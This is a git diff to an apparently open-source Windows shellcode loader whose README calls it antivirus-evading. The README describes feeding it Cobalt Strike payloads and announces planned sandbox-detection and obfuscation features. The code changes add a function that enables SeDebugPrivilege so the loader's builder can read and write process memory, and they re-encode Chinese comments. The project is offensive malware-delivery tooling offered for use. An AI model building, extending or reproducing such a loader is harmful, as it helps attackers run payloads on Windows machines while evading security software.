diff --git a/README.md b/README.md index 48cb6d6..9963229 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,10 @@ # ShellcodeLoader Windows通用免杀shellcode加载器。 +## V1.1 +在maker中添加了用于程序自身提权的代码,防止可能会因为程序权限不足而导致内存读写失败问题; + +PS:下个版本将会更新杀软模拟沙箱检测功能,库代码干扰混淆功能; ## 功能特点 @@ -48,7 +52,7 @@ C:\> 2. **使用CobaltStrike生成payload.c文件** - 1、点击生成payload + 1、点击生成payload(也可以在output栏选择生成RAW格式,RAW格式可直接载入LoadMaker) ![image1](img/img1.png) ![image2](img/img2.png) diff --git a/src/LoaderMaker/main.cpp b/src/LoaderMaker/main.cpp index 6448f62..9778d2e 100644 --- a/src/LoaderMaker/main.cpp +++ b/src/LoaderMaker/main.cpp @@ -11,6 +11,8 @@ int main(int argc, char* argv[], char* envp[]) printf(" \r\n"); if (argc == 3) { + // 首先提权一波 + GrantPriviledge(SE_DEBUG_NAME);//防止权限不够 FILEINFO shellinfo = Openfile(argv[1]); for (int i = 0; i < shellinfo.size; i++) { diff --git a/src/LoaderMaker/main.h b/src/LoaderMaker/main.h index f1d2bcf..4ab17fd 100644 --- a/src/LoaderMaker/main.h +++ b/src/LoaderMaker/main.h @@ -83,7 +83,7 @@ void* __cdecl Mymemcpy(void* dest, return dest; } -BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//дļͨ +BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//写入文件,测试通过 { HANDLE pFile; @@ -93,7 +93,7 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д pFile = CreateFileA(path, GENERIC_WRITE, 0, NULL, - CREATE_ALWAYS, //Ǵļ + CREATE_ALWAYS, //总是创建文件 FILE_ATTRIBUTE_NORMAL, NULL); @@ -109,7 +109,7 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д tmpBuf = file; - do { //ѭдļȷļд + do { //循环写文件,确保完整的文件被写入 WriteFile(pFile, tmpBuf, dwBytesToWrite, &dwBytesWrite, NULL); @@ -121,4 +121,46 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д CloseHandle(pFile); HeapFree(GetProcessHeap(), 0, file); return TRUE; -} \ No newline at end of file +} + +BOOL GrantPriviledge(WCHAR* PriviledgeName) +{ + TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; + DWORD dwReturnLength = sizeof(OldPrivileges); + HANDLE TokenHandle = NULL; + LUID uID; + + // 打开权限令牌 + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) + { + if (GetLastError() != ERROR_NO_TOKEN) + { + return FALSE; + } + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) + { + return FALSE; + } + } + + if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // 通过权限名称查找uID + { + CloseHandle(TokenHandle); + return FALSE; + } + + TokenPrivileges.PrivilegeCount = 1; // 要提升的权限个数 + TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 动态数组,数组大小根据Count的数目 + TokenPrivileges.Privileges[0].Luid = uID; + + // 在这里我们进行调整权限 + if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) + { + CloseHandle(TokenHandle); + return FALSE; + } + + // 成功了 + CloseHandle(TokenHandle); + return TRUE; +}